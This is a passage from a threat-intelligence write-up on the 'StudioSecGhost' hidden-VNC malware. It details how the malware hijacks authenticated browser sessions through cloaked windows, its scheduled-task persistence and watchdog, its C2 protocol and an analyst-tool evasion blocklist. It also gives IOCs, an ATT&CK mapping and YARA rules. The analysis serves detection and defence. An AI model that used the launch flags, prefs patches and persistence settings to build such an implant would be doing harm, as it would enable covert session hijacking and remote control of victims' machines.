EnumWindowsloop runs on a thread, callingGetWindowTextWon every top-level window until it finds one whose title matchesStudioSecGhost. - On match, the agent calls
ShowWindow(SW_HIDE)andSetWindowPos(..., SWP_HIDEWINDOW)to cloak the window from the task bar and the screen. The window continues to receive and render content; the victim just cannot see it. - The HWND is handed to the streaming subsystem, which calls
PrintWindowon it each frame, feeds the result throughGdipCreateBitmapFromHBITMAP+GdipSaveImageToStream, and sends the JPEG over the C2 TCP connection.
Why this matters operationally: because the agent launches the ghost browser against the victim’s existing profile context (Chromium --app= without a --user-data-dir override uses the default User Data profile; Firefox -new-instance -no-remote selects the default profile identified via the profiles.ini lookup the agent has already performed for the prefs patch), the ghost window inherits whatever the profile already holds. The disassembly confirms the launch path uses the existing browser profile context, making profile-backed cookies and authenticated web sessions available to the launched browser process where those sessions are valid. Depending on browser configuration, autofill, and password-manager state, the operator may also reach saved credentials or autofill-backed login paths – but this last step requires the operator to drive the UI and is not directly observable from static analysis. The point is that no separate credential-theft module is shipped: the implant gets browser-mediated access to whatever the profile is currently logged into.
Why this matters for detection: per-window cloaking is harder to detect with tools that look for hidden desktops. CreateDesktopW / OpenDesktop calls are a well-known indicator; ShowWindow(SW_HIDE) on a browser HWND is much less unusual in isolation. The window is invisible but its process and its GDI objects are live.
Browser Piggyback and Firefox Patching
Chromium Path
The agent builds a format string of the form:
1
2
3
"<browser_exe>" --app="<bounce_html>" --disable-infobars --hide-crash-restore-bubble
--disable-backgrounding-occluded-windows --disable-renderer-backgrounding
--disable-occlusion-tracking
and hands it to CreateProcessW. The --disable-occlusion-tracking flag is particularly telling: without it, Chromium will suspend rendering for occluded windows, which would stop the frame stream the moment the ghost window is hidden.
If Chrome or Edge is already running when the agent starts, the [CHROME] Chrome already running. Piggybacking immediately. log message fires and the agent skips the launch step, instead starting the EnumWindows search directly against the running process’s windows.
Firefox Path
Firefox does not support an --app flag, so the agent uses -new-instance -no-remote -url <bounce_html> instead. This creates an isolated Firefox instance (its own process tree, separate from any running Firefox) pointed at the bounce HTML.
Before launching, the agent patches the Firefox profile to suppress both the crash-recovery dialog and the session-restore prompt that would otherwise appear on next startup. It:
- Reads
%APPDATA%\Mozilla\Firefox\profiles.inito locate the default profile directory. - Opens
prefs.jsin that directory for append. - Appends two
user_pref(...)lines (full disassembly in Decompiler-Level Reversing):user_pref("browser.sessionstore.resume_from_crash", false);user_pref("toolkit.startup.max_resumed_crashes", -1);
This is a hardcoded prefs patch executed unconditionally for any Firefox profile found. The change is permanent: both lines persist in the victim’s prefs.js after the agent is removed, unless the user manually edits the file to delete them.
Hot-Swap
The agent supports operator-commanded browser switching via a CMD that triggers [CHROME] Switching browser: %ls -> %ls. On receipt, the agent tears down the current ghost lifecycle, closes the stale HWND, and restarts the lifecycle loop targeting the newly specified browser.
Persistence
The agent installs persistence via Windows Scheduled Tasks using XML import (schtasks /Create /XML). The XML staging file is rendered to %TEMP%\chrome_task_<random>.xml; the random component varies per replica slot, and multiple slots are deployed in parallel for redundancy. The XML filename is not the scheduled-task name – it is the on-disk artifact that schtasks consumes to create the task entry.
The scheduled-task names themselves masquerade as legitimate Windows / Google update tasks. Public sandbox telemetry for this SHA-256 observed task activity under the names Google\Update\CrashReportTask, Microsoft\Windows\DeviceSync\Routine, and repeated schtasks /Query checks against Microsoft\Windows\AppID\PolicyConverter. Treat the XML filename as a file-system IOC and the task names as separate persistence IOCs (see the IOC Appendix).
The task XML includes two triggers:
| Trigger | Configuration |
|---|---|
LogonTrigger | Enabled, Delay=PT1M |
TimeTrigger | Interval=PT2M, Duration=P1D, StopAtDurationEnd=false |
Task settings:
| Setting | Value |
|---|---|
MultipleInstancesPolicy | Parallel |
DisallowStartIfOnBatteries | false |
StopIfGoingOnBatteries | false |
ExecutionTimeLimit | PT0S (no limit) |
StartWhenAvailable | true |
RestartOnFailure | Interval=PT1M, Count=999 |
The RestartOnFailure Count=999 is the agent’s primary resilience mechanism: if the process crashes or is killed, the task scheduler restarts it up to 999 times with a one-minute gap between attempts.
On top of scheduled tasks, a dedicated watchdog thread runs inside the agent process itself. It periodically checks each replica slot – both the binary on disk and the corresponding scheduled task entry – and redeploys any that have been removed. The log string [INIT] Watchdog restored replica slot %d fires each time it repairs a slot.
The agent copies itself to replica slots under %TEMP% and/or %APPDATA% paths. The exact slot layout is inferred from the Replica deploy failed slot %d / Replica deployed: slot %d log strings; at least two slots are deployed.
Command-and-Control Protocol
The agent communicates over raw TCP to 2.26.122[.]211:4444. The IP is stored as a UTF-16LE .rdata literal at VA 0x140049BB8, while the port is recovered from .text as the immediate operand 0x115c (4444 decimal) of the mov ebx, 0x115c instruction at VA 0x140005DEC. Public sandbox telemetry for this SHA-256 records outbound TCP to 2.26.122[.]211:4444 at runtime, corroborating both the IP and port via a second method. There is no TLS. The wire format is a custom binary protocol with a 1-byte opcode header.
Session Lifecycle
1
2
3
4
5
6
7
8
9
10
Client C2
|--- TCP connect ------------------>|
|<-- Handshake challenge -----------|
|--- Handshake response ----------->|
|<-- Handshake ACK -----------------|
|--- AUTH_LOGIN (operator tag, |
| browser count, active index) ->|
|<-- CMD_* -------------------------|
|--- responses, frames ------------>|
| [reconnect loop with backoff]
The AUTH_LOGIN packet contains the operator tag as a UTF-16LE string, the count of detected browsers, and the index of the currently active browser. This allows the C2 to display a browser inventory to the operator at session open.
Client-to-Server Packets
| Packet | Description |
|---|---|
AUTH_LOGIN | Operator tag + browser inventory |
BROWSERS_UPDATED | Sent after CMD_RE_DETECT_BROWSERS |
SYSTEM_INFO | OS version, display version, CPU name, username, disk/memory |
| Screenshot frame | JPEG blob with width/height header; sent every tick when streaming is active |
Server-to-Client Commands
| Command | Effect |
|---|---|
CMD_START_VIEWING | Begin the frame-stream loop |
CMD_STOP_VIEWING | Pause frame stream |
CMD_SCREENSHOT_REQUEST | Send a single frame on demand |
CMD_RE_DETECT_BROWSERS | Re-run browser detection; send BROWSERS_UPDATED |
CMD_UPLOAD_EXECUTE | Receive filename + bytes, drop to disk, CreateProcessW, return exit code |
CMD_UNINSTALL | Full removal sequence |
| Mouse injection | Send VK code + character + cursor position |
| Keyboard injection | Send VK code + character |
CMD_UPLOAD_EXECUTE is an arbitrary remote-execution primitive: the operator pushes any binary, the agent writes it to disk and runs it under the current user context. Exit code is returned in the reply packet.
JPEG Frame Pipeline
1
2
3
4
5
6
PrintWindow(ghost_hwnd)
--> BitBlt into compatible DC
--> GdipCreateBitmapFromHBITMAP
--> GdipSaveImageToStream (JPEG, quality preset set by operator)
--> CreateStreamOnHGlobal + COM IStream
--> length-prefixed TCP send
The disassembly suggests the JPEG quality parameter is loaded from a per-session field rather than a build-time constant – consistent with operator-side control – but the exact opcode that mutates the field has not been traced and the claim should be treated as suggestive pending a dynamic run (see Remaining Open Questions). A packet-size guard tied to the log string [NET] Oversized packet dropped is present and rejects malformed inbound frames.
Victim Overlay
While the operator session is active, the agent creates a fullscreen layered window using the class StudioSecVNC_Banner and the title StudioSecVNC Banner. The window displays:
1
WARNING! SECURITY AUDIT IN PROGRESS.
in Segoe UI on a dark background, rendered via DrawTextW with a STATIC control. The window is created with WS_EX_LAYERED and SetLayeredWindowAttributes so it can be rendered above all other windows without capturing input focus.
The social engineering intent is transparent: the banner convinces the victim that an authorized security audit is underway, discouraging them from interacting with their machine while the operator pilots the ghost browser.
Kill Chain
Stages 0-3 are sequential; stages 4-7 run concurrently as independent threads spawned during bootstrap. Stage 8 is invoked on demand by the operator.
Stage 0 – Drop and Launch: Dropper delivers ahy.exe (353 KB, x64, compiled 2026-05-17).
Stage 1 – Self-Check and Anti-Analysis: CreateMutexW for single-instance enforcement. QueryPerformanceCounter-based 1000-iteration timing trip-wire detects live single-stepping. NtQueryInformationProcess (resolved via GetModuleHandleW("ntdll.dll") + GetProcAddress) reads the agent’s own parent PID; QueryFullProcessImageNameW returns the parent’s image path; the basename is run through 15 sequential wcsstr substring matches against debugger / analyst tool names. Any hit triggers a clean ReleaseMutex and process exit, with no C2 beacon and no artifact cleanup. See Anti-Analysis Notes for the full table.
Stage 2 – Persistence: Multiple replica copies are dropped to disk; chrome_task_<n>.xml files are rendered (one per replica slot) and imported via a child schtasks /Create /XML invocation. Triggers: LogonTrigger + TimeTrigger Interval=PT2M Duration=P1D. Settings: RestartOnFailure Count=999, Interval=PT1M.
Stage 3 – Bootstrap: GdiplusStartup, WSAStartup. RegisterClassExW for both the anchor window (GSystem / .SecAnchor) and the banner window (StudioSecVNC_Banner). Spawns the four concurrent worker threads listed below.
Stage 4 (thread) – C2 Network: getaddrinfo + connect to 2.26.122[.]211:<port>. Custom binary handshake; AUTH_LOGIN with operator tag and browser inventory; command-dispatch loop; reconnect with backoff on close.
Stage 5 (thread) – Browser Lifecycle: Detect installed browser; write bounce HTML; for Firefox, patch prefs.js; launch the browser with suppression flags (Chromium) or -new-instance -no-remote (Firefox); poll for hot-swap commands.
Stage 6 (thread) – Ghost-Window Acquisition: EnumWindows + GetWindowTextW polling for a top-level window titled StudioSecGhost. On match: ShowWindow(SW_HIDE) + SetWindowPos(SWP_HIDEWINDOW). The HWND is handed off to the streaming subsystem.
Stage 7 (thread) – Operator Session: StreamThread runs PrintWindow --> GDI+ --> JPEG --> TCP send loop into the C2 thread’s outbound queue. Banner thread paints the StudioSecVNC_Banner victim overlay. Watchdog thread monitors replica slots and redeploys missing copies. Net thread dispatches mouse/keyboard injection, CMD_UPLOAD_EXECUTE, CMD_RE_DETECT_BROWSERS, and CMD_UNINSTALL as they arrive.
Stage 8 – Self-Removal (on CMD_UNINSTALL): schtasks /Delete for each known task slot; write ssv_cleanup.bat to %TEMP%; launch cmd.exe /C ssv_cleanup.bat; WM_CLOSE to ghost and anchor windows; process exits.
Anti-Analysis Notes
Process Blocklist (Parent-Process Inspection)
A complete walk of the anti-analysis routine is in the Decompiler-Level Reversing section above. Summary:
- The agent does not enumerate the running process list with
CreateToolhelp32Snapshot. It callsNtQueryInformationProcess(resolved at runtime viaGetModuleHandleW("ntdll.dll")+GetProcAddress) to read its own parent process’s PID fromPROCESS_BASIC_INFORMATION.InheritedFromUniqueProcessId. - That parent PID is opened with
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, ...),QueryFullProcessImageNameWproduces the full path, and aPathFindFileNameW-equivalent strips the directory. - The bare parent filename is then run through 15 sequential
wcsstr(parent_name, blocklist[i])calls. Any non-NULL return triggers the silent-exit path at VA0x1400059EF.
The 15 blocklist literals (UTF-16LE, contiguous array in .rdata):
| # | VA | Literal | Tool |
|---|---|---|---|
| 1 | 0x140047E40 | ollydbg.exe | OllyDbg |
| 2 | 0x140047E58 | x64dbg.exe | x64dbg |
| 3 | 0x140047E70 | x32dbg.exe | x32dbg (x86 build) |
| 4 | 0x140047E88 | windbg.exe | WinDbg |
| 5 | 0x140047EA0 | ida.exe | IDA (classic) |
| 6 | 0x140047EB0 | ida64.exe | IDA (x64) |
| 7 | 0x140047EC8 | idaq.exe | IDA Qt (x86) |
| 8 | 0x140047EE0 | idaq64.exe | IDA Qt (x64) |
| 9 | 0x140047EF8 | devenv.exe | Visual Studio host |
| 10 | 0x140047F10 | processhacker.exe | Process Hacker |
| 11 | 0x140047F38 | procmon.exe | Sysinternals Process Monitor |
| 12 | 0x140047F50 | procexp.exe | Sysinternals Process Explorer |
| 13 | 0x140047F68 | dnspy.exe | dnSpy |
| 14 | 0x140047F80 | ghidra | Ghidra (substring) |
| 15 | 0x140047F90 | cheatengine | Cheat Engine (substring) |
Comparison is case-sensitive substring match (wcsstr, not _wcsicmp). The blocklist is therefore brittle against renamed analyst tools but immune to most case-folding tricks because the canonical executable filenames are already lowercase on disk.
Timing Check (Pre-Blocklist)
Before the parent-process check runs, the agent measures a 1000-iteration arithmetic loop with QueryPerformanceCounter and exits if the elapsed time exceeds 0.5 seconds (threshold stored as a double at VA 0x14004ABE8). See the disassembly in Decompiler-Level Reversing for the exact sequence. This blocks live single-stepping but is bypassed by any sandbox that runs the binary at full instruction speed.
Debugger-API Imports
KERNEL32!IsDebuggerPresent and KERNEL32!CheckRemoteDebuggerPresent are present in the import table. Their call sites have not been mapped in this build, so we cannot assert they are actively invoked from the bootstrap path; given the otherwise methodical anti-analysis posture they are unlikely to be dead imports, but treating them as confirmed runtime checks would overstate the static evidence.
Response on Detection
The log string [INIT] Agent already running. Exiting. and the single-instance mutex suggest the exit path is a clean process exit with no beaconing or alerting of the C2 on analyst detection. The binary does not destroy any artifacts before exiting.
Observations and Attribution Notes
As of 2026-05-19, the string StudioSecGhost does not appear in any public threat intelligence source. The companion strings StudioSecVNC_Banner, .SecAnchor, and ssv_cleanup.bat also return zero results. MalwareBazaar carries the SHA-256 but lists it as Threat unknown; multi-engine sandbox detections use generic labels (Trojan.Win64.*, HVNC.Generic) rather than a family name. This post therefore names the family from the binary’s own internal marker: StudioSecGhost.
Delivery context (not family attribution). MalwareBazaar metadata associates this SHA-256 with dropped-by-amadey and exposes a web-download source URL of the form hxxp://91.92.242[.]236/files-129312398/files/file_e353c81a9a32e76e.exe. This indicates Amadey (a well-known commodity loader) was observed delivering the agent in at least one campaign, but it does not make StudioSecGhost part of the Amadey family – Amadey is the loader, StudioSecGhost is the post-loader payload. Treat the relationship as a delivery pairing only.
No encryption in the wire protocol. The agent communicates over raw TCP with no TLS wrapper, no symmetric encryption, and no challenge-response key exchange. Every frame and every command is transmitted in plaintext. This is unusual for a tool that is otherwise carefully designed.
C2 infrastructure. The single observed C2 IP, 2.26.122[.]211, is announced by AS201988 (VPSPay, Helsinki, Finland). The abuse contact for the ASN is abuse@vpspay[.]cloud. Independent reputation history for this ASN is not asserted here; treat the IP as a single-VPS pivot point only. The destination port is TCP/4444, recovered statically from .text as the immediate operand of mov ebx, 0x115c at VA 0x140005DEC (full validation chain in Methodology and Toolchain). The wide-string config extractor did not surface the port because it is not stored as a wide string in .rdata – it lives as a code-section immediate. The disassembly pass picked it up directly.
Operator-tag naming. The AUTH_LOGIN packet includes an operator tag field ([NET] AUTH_LOGIN sent: '%ls'). This suggests a panel-based C2 with named operator accounts – consistent with a for-hire or multi-operator model rather than a single-actor tool.
Version info is a placeholder. ProductName=ahy, FileDescription=ahy, OriginalFilename=ahy.exe, FileVersion=1.0.0.0. The version block was left at MSVC defaults with all string fields filled with the bare project name ahy. There is no company name, no copyright, and no internal product description – the builder did not bother to populate the PE version resource beyond what link.exe requires.
Authenticode. The binary is unsigned. The PE SECURITY data directory is empty (VA=0, Size=0). A check that flagged the sample on one public source as having a signing-related indicator does not survive direct inspection – treat it as a sandbox heuristic false positive.
Public Sandbox Corroboration
After the static writeup was completed, public sandbox coverage appeared for the same SHA-256. The sandbox results do not provide a stable family name; MalwareBazaar lists the sample as Threat unknown, and vendor labels remain generic. The dynamic data does, however, corroborate several of the static-analysis findings, raising the confidence level on each from single-method (disassembly) to dual-method (disassembly + runtime telemetry):
- C2 confirmed.
ahy.execontacts2.26.122[.]211:4444over TCP at runtime, matching both the statically recovered IP (.rdataliteral at VA0x140049BB8) and the port (mov ebx, 0x115cat VA0x140005DEC). - Browser profile access confirmed. The process accesses Chrome profile paths under
%LOCALAPPDATA%\Google\Chrome\User Data\..., including the bounce HTML drop at%LOCALAPPDATA%\Google\Chrome\User Data\chrome_update_manifest.htmland reads againstDefault\Preferences. This supports the browser-profile piggybacking model: the launched browser process uses the victim’s existing User Data profile. - Bounce HTML title confirmed. Runtime strings expose
<title>StudioSecGhost</title>in the dropped HTML, matching the static finding that this is both the search target for the ghost-window acquisition loop and the family’s internal codename. - Scheduled-task XML staging confirmed; task names differ from filenames.
%TEMP%\chrome_task_<random>.xmlis written and consumed byschtasks /Create /XML. The observed task entries, however, use camouflage names:Google\Update\CrashReportTask,Microsoft\Windows\DeviceSync\Routine, and repeatedschtasks /QueryagainstMicrosoft\Windows\AppID\PolicyConverter. The original draft conflated the XML staging filename with the task name; this is now corrected in the Persistence section and the IOC Appendix. - Delivery via Amadey observed. MalwareBazaar tags the sample
dropped-by-amadeywith a delivery URL ofhxxp://91.92.242[.]236/files-129312398/files/file_e353c81a9a32e76e.exe. Treat as delivery context, not family attribution.
The article keeps its MITRE ATT&CK table restricted to behavior directly supported by static reversing or corroborated runtime telemetry. Generic sandbox-mapped techniques (every API category mechanically mapped to an ATT&CK ID) are not imported wholesale.
Code Weaknesses
-
No wire encryption. All C2 traffic – auth tokens, operator commands, JPEG frames, file payloads – transits in cleartext over raw TCP. A network tap or MITM between the agent and
2.26.122[.]211exposes the full session without any decryption step. -
Plaintext config in
.rdata. Every operational string (C2 IP format, log prefixes, browser paths, window class names, task XML filename template, cleanup batch name) is stored as unencrypted UTF-16LE. Astrings -e lrun on the binary recovers the entire config without executing a single instruction. -
Hardcoded C2 IP. The IP
2.26.122[.]211appears verbatim in.rdata. A single takedown of the VPS severs every deployed instance simultaneously. There is no DGA, no backup domain, and no fast-flux mechanism. -
Process-name blocklist as the only anti-analysis gate. The check is trivially bypassed by renaming the analyst tool executable.
x64dbg_renamed.exewould not match. The blocklist also does not cover a number of common analysis tools: WireShark, Fiddler, API Monitor, Cutter, Binary Ninja, PE-bear. -
Single-string ghost-window title. The entire browser piggybacking technique depends on the window title
StudioSecGhostbeing findable viaGetWindowTextW. Changing this title in a recompile is a one-character edit. In the current build, it is a trivially searchable indicator. -
Persistence via
schtaskscommand visible in shell history. The agent callsCreateProcessWto executeschtasks /Create /TN ... /XML .... This invocation will appear incmd.exeprocess creation events (Windows Security Event ID 4688) and in any EDR that logs process command lines. The XML-import approach does not avoid the child process. -
ssv_cleanup.baton disk before execution. The self-delete sequence writes the batch file to%TEMP%and then launches it. There is a window between the write and the execution where the batch file exists on disk and can be captured. -
Firefox
prefs.jspatch is permanent and writes two prefs. Bothbrowser.sessionstore.resume_from_crash = falseandtoolkit.startup.max_resumed_crashes = -1are appended unconditionally and never restored on uninstall. Post-incident, the victim’s Firefox profile retains both modifications. A forensic examiner can spot both lines asuser_pref(...)entries at the tail ofprefs.js. -
Operator tag in plaintext AUTH_LOGIN. The operator tag sent in
AUTH_LOGINis a UTF-16LE string transmitted without encryption. Any intermediate network observer can read the tag, which may contain identifying or operational information useful to investigators. -
No HTTPS or domain fronting for C2. The combination of a static IP, a non-standard raw TCP port, and no TLS makes the agent trivially detectable at the network perimeter. Any IDS/IPS rule that flags JPEG SOI bytes on non-HTTP ports or a direct connection to the C2 IP will catch this variant.
IOC Appendix
Network
| Type | Value | Notes |
|---|---|---|
| IP | 2.26.122[.]211 | C2; AS201988 (VPSPay, Helsinki, FI). Corroborated by public sandbox telemetry. |
| Port | TCP/4444 | Hardcoded in .text as mov ebx, 0x115c at VA 0x140005DEC. Corroborated by public sandbox telemetry. |
| ASN | AS201988 | VPSPay / vpspay[.]cloud |
| Protocol | Raw TCP, custom binary, no TLS | 1-byte opcode header, length-prefix framing |
| Abuse contact | abuse@vpspay[.]cloud | |
| Delivery URL (observed) | hxxp://91.92.242[.]236/files-129312398/files/file_e353c81a9a32e76e.exe | Web-download stage observed in MalwareBazaar metadata; tagged dropped-by-amadey. Delivery context only. |
File and Registry
| Type | Value | Notes |
|---|---|---|
| Drop path | %TEMP%\studiosec_bounce.html | Bounce HTML (default name) |
| Drop path | %TEMP%\chrome_update_manifest.html | Bounce HTML (alternative name) |
| Drop path (XML staging) | %TEMP%\chrome_task_<random>.xml | Temporary XML file consumed by schtasks /Create /XML; not the scheduled-task name |
| Drop path | %TEMP%\ssv_cleanup.bat | Self-delete batch |
| Window class (anchor) | GSystem | |
| Window class (anchor) | .SecAnchor | |
| Window class (banner) | StudioSecVNC_Banner | |
| Window title (banner) | StudioSecVNC Banner | |
| Registry read | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName | For SYSTEM_INFO packet |
| Registry read | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DisplayVersion | For SYSTEM_INFO packet |
| Registry read | HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | For SYSTEM_INFO packet |
Scheduled Tasks (observed)
| Type | Value | Notes |
|---|---|---|
| XML staging path | %TEMP%\chrome_task_<random>.xml | File-system IOC; consumed by schtasks /Create /XML |
| Observed task name | Google\Update\CrashReportTask | Public sandbox observation |
| Observed task name | Microsoft\Windows\DeviceSync\Routine | Public sandbox observation |
| Observed task name / query target | Microsoft\Windows\AppID\PolicyConverter | Repeated schtasks /Query checks observed |
Hashes
| Algorithm | Hash |
|---|---|
| MD5 | c1b29c991b45789bda71074cd41a0ca8 |
| SHA-1 | 0590fd821c037b404527566eae38d63519ee6a11 |
| SHA-256 | 5940c41ab003399680a04d726587eed242e4ad8969abe4b5617d712ff190a852 |
| Imphash | 26edff0935c20dff74e040648243639a |
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Notes |
|---|---|---|---|
| Execution | Command and Scripting Interpreter: Windows Command Shell | T1059.003 | cmd.exe /C ssv_cleanup.bat self-delete sequence |
| Persistence | Scheduled Task / Job: Scheduled Task | T1053.005 | schtasks /Create /XML with LogonTrigger + TimeTrigger |
| Persistence | Boot or Logon Autostart Execution | T1547 | LogonTrigger fires on each user logon (Delay=PT1M) |
| Defense Evasion | Masquerading: Match Legitimate Name or Location | T1036.005 | Scheduled task names masquerade as legitimate Windows / Google update tasks |
| Defense Evasion | Indicator Removal: File Deletion | T1070.004 | ssv_cleanup.bat, scheduled task XML, and replica files removed on CMD_UNINSTALL |
| Defense Evasion | Hide Artifacts: Hidden Window | T1564.003 | ShowWindow(SW_HIDE) + SetWindowPos(SWP_HIDEWINDOW) on the ghost browser HWND |
| Defense Evasion | Debugger Evasion | T1622 | Anti-debug API imports paired with process blocklist exit |
| Discovery | Process Discovery | T1057 | CreateToolhelp32Snapshot + Process32Next used by Chrome lifecycle manager to detect running browsers. Analyst-tool blocklist uses NtQueryInformationProcess against parent PID instead. |
| Discovery | System Information Discovery | T1082 | Reads ProductName, DisplayVersion, ProcessorNameString for SYSTEM_INFO |
| Collection | Screen Capture | T1113 | PrintWindow + GDI+ JPEG frame streaming |
| Collection | Input Capture: GUI Input Capture | T1056.002 | Mouse position + click injection to ghost HWND |
| Collection | Browser Session Hijacking | T1185 | Ghost window shares User Data profile with victim’s live browser |
| Command and Control | Application Layer Protocol: Non-Application Layer Protocol | T1095 | Custom binary protocol over raw TCP, no HTTP/TLS envelope |
| Command and Control | Non-Standard Port | T1571 | Raw TCP to TCP/4444; port recovered from .text as mov ebx, 0x115c at VA 0x140005DEC |
| Command and Control | Ingress Tool Transfer | T1105 | CMD_UPLOAD_EXECUTE drops and runs arbitrary operator-supplied binaries |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | JPEG screenshots and SYSTEM_INFO exfil over the same raw-TCP C2 connection |
YARA Rules
The following rules are production-ready. The main PE rule uses composite conditions to minimize false positives: it requires the PE header, the AMD64 machine type, at least one of the three primary identity strings, at least three of the ten operational log-format strings, and at least one of the four known filesystem-artifact strings.
Rules are available for download at taogoldi/YARA/hvnc/studiosecghost.
// StudioSecGhost hVNC + browser-piggyback agent
// Author: taogoldi
// Date: 2026-05-19
// TLP: TLP:CLEAR
// Hash: 5940c41ab003399680a04d726587eed242e4ad8969abe4b5617d712ff190a852
import "pe"
rule StudioSecGhost_HVNC_Agent
{
meta:
author = "taogoldi"
version = 1
date = "2026-05-19"
hash = "5940c41ab003399680a04d726587eed242e4ad8969abe4b5617d712ff190a852"
tlp = "TLP:CLEAR"
family = "StudioSecGhost"
description = "Native x64 hidden-VNC agent that piggybacks on real Chrome/Edge/Firefox and cloaks a sibling ghost window."
strings:
$bid_title = "<html><head><title>StudioSecGhost</title></head><body>" ascii
$bid_search = "StudioSecGhost" wide
$bid_banner_class = "StudioSecVNC_Banner" wide
$bid_banner_title = "StudioSecVNC Banner" wide
$bid_anchor_a = "GSystem" wide
$bid_anchor_b = ".SecAnchor" wide
$log_chrome_pigg = "[CHROME] Chrome already running. Piggybacking immediately." ascii
$log_chrome_ghost = "[CHROME] Found ghost among hidden windows: HWND=%p" ascii
$log_chrome_prefs = "[CHROME] Firefox prefs.js patched: crash recovery disabled." ascii
$log_chrome_bounce = "[CHROME] Failed to resolve bounce path." ascii
$log_vnc_stream = "[VNC] StreamThread started (%dx%d)%s." ascii
$log_vnc_capture = "[VNC] WindowCapturer: init OK (%dx%d), HWND=%p." ascii
$log_net_auth = "[NET] AUTH_LOGIN sent: '%ls' (browsers: %d, active: %d)" ascii
$log_net_target = "[NET] AgentNetwork started. Target: %ls:%u" ascii
$log_init_replica = "[INIT] Replica deployed: slot %d" ascii
$log_init_watchdog = "[INIT] Watchdog restored replica slot %d" ascii
$art_bounce_a = "studiosec_bounce.html" wide
$art_bounce_b = "chrome_update_manifest.html" wide
$art_task_xml = "chrome_task_%u.xml" wide
$art_cleanup = "ssv_cleanup.bat" wide
$banner_text = " WARNING! SECURITY AUDIT IN PROGRESS. " wide
$browser_args = "--hide-crash-restore-bubble --disable-backgrounding-occluded-windows --disable-renderer-backgrounding --disable-occlusion-tracking" wide
condition:
uint16(0) == 0x5a4d
and pe.machine == pe.MACHINE_AMD64
and pe.imports("mscoree.dll") == 0
and pe.imports("gdiplus.dll", "GdipSaveImageToStream")
and pe.imports("WS2_32.dll", "send")
and (
$bid_search
or $bid_title
or $bid_banner_class
)
and 3 of ($log_*)
and any of ($art_*)
}
rule StudioSecGhost_Bounce_HTML
{
meta:
author = "taogoldi"
version = 1
date = "2026-05-19"
tlp = "TLP:CLEAR"
family = "StudioSecGhost"
description = "Dropped bounce HTML. Lives at %TEMP%\\studiosec_bounce.html or %TEMP%\\chrome_update_manifest.html."
strings:
$a = "<html><head><title>StudioSecGhost</title></head><body>" ascii
$b = "window.location.replace(" ascii
$c = "setTimeout(function(){" ascii
condition:
filesize < 4KB and all of them
}
Suricata rules covering the C2 IP and the JPEG-on-raw-TCP signature are available at taogoldi/analysis_data/studiosecghost_may_2026/detection.
Conclusion
StudioSecGhost is a native x64 hidden-VNC agent built around a novel browser piggybacking technique that avoids the well-monitored CreateDesktopW / SetThreadDesktop pattern used by every major prior hVNC family. By launching a real, installed Chromium or Firefox process, navigating it to a titled bounce page, and cloaking the resulting window per-HWND rather than per-desktop, the agent obtains an operator-controlled browser that is already authenticated to all of the victim’s active web sessions. The ghost window shares the victim’s User Data profile directory: no credential extraction step is needed.
The persistence design is solid: multiple replica slots, a dual-trigger scheduled task with 999-restart failsafe, and an in-process watchdog combine to make manual removal without knowing all slot numbers genuinely difficult for a non-technical victim. The Firefox prefs-patching is a permanent side effect that survives uninstallation.
Against that, the operational security is poor. The wire protocol is unauthenticated cleartext. The entire config – C2 IP, window class names, artifact filenames, log prefixes – sits unobfuscated in .rdata and is recoverable with strings -e l. The process blocklist is bypassed by renaming any analyst tool executable. The single static C2 IP makes infrastructure-level blocking straightforward.
The family is unattributed as of the publication date. The operator-tag field in AUTH_LOGIN suggests this is a panel-based tool with multiple operators rather than a single-actor implant. The ahy.exe filename and placeholder version info offer no further pivot. The C2 is announced by AS201988 (VPSPay) out of Helsinki; no reputation claim is made for the ASN here, but the single static IP is the most actionable pivot point we have for this build.
Detection teams should prioritize the YARA rule for memory and filesystem scanning, the Suricata IP rule for perimeter blocking, and the scheduled task XML drop (chrome_task_<n>.xml in %TEMP%) as a host-based hunt artifact. The Firefox prefs.js modification is a useful forensic indicator when investigating potential compromised hosts post-incident.
taogoldi – TLP:CLEAR – 2026-05-19






